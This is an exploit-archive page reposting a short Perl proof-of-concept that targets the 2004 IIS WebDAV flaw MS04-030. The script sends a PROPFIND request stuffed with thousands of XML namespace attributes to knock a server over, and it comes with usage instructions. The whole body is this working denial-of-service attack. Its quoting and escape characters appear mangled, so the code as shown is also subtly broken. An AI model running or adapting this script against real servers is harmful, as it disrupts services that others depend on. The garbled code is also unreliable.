MS Windows IIS WebDAV XML Denial of Service Exploit (MS04-030)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : MS Windows IIS WebDAV XML Denial of Service Exploit (MS04-030)
# Published : 2004-10-20
# Author : Amit Klein
# Previous Title : BaSoMail Multiple Buffer Overflow Denial of Service Exploit
# Next Title : BaSoMail Server 1.24 POP3/SMTP Remote Denial of Service Exploit

#!/usr/bin/perl
# IIS BlowOut 
# POC exploit for MS04-030. Found by Amit Klein. 
# incognito_ergo yahoo com
# usage: perl ms04-030_spl.pl host port

use IO::Socket;

$port = @ARGV[1];
$host = @ARGV[0];


$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => 
$port,Proto => "TCP");


for ($count=1; $count<9999; $count++) #more than nuff
{

$xmlatt = $xmlatt. "xmlns:z" . $count . "="xml:" "; 

}



$xmldata = "<?xml version="1.0"?>rn<a:propfind xmlns:a="DAV:" " . 
$xmlatt . 
">rn<a:prop><a:getcontenttype/></a:prop>rn</a:propfind>rnrn";

$l=length($xmldata);

$req="PROPFIND / HTTP/1.1nContent-type: text/xmlnHost: 
$hostnContent-length: $lnn$xmldatann"; 

syswrite($socket,$req,length($req));

close $socket;

# www.Syue.com [2004-10-20]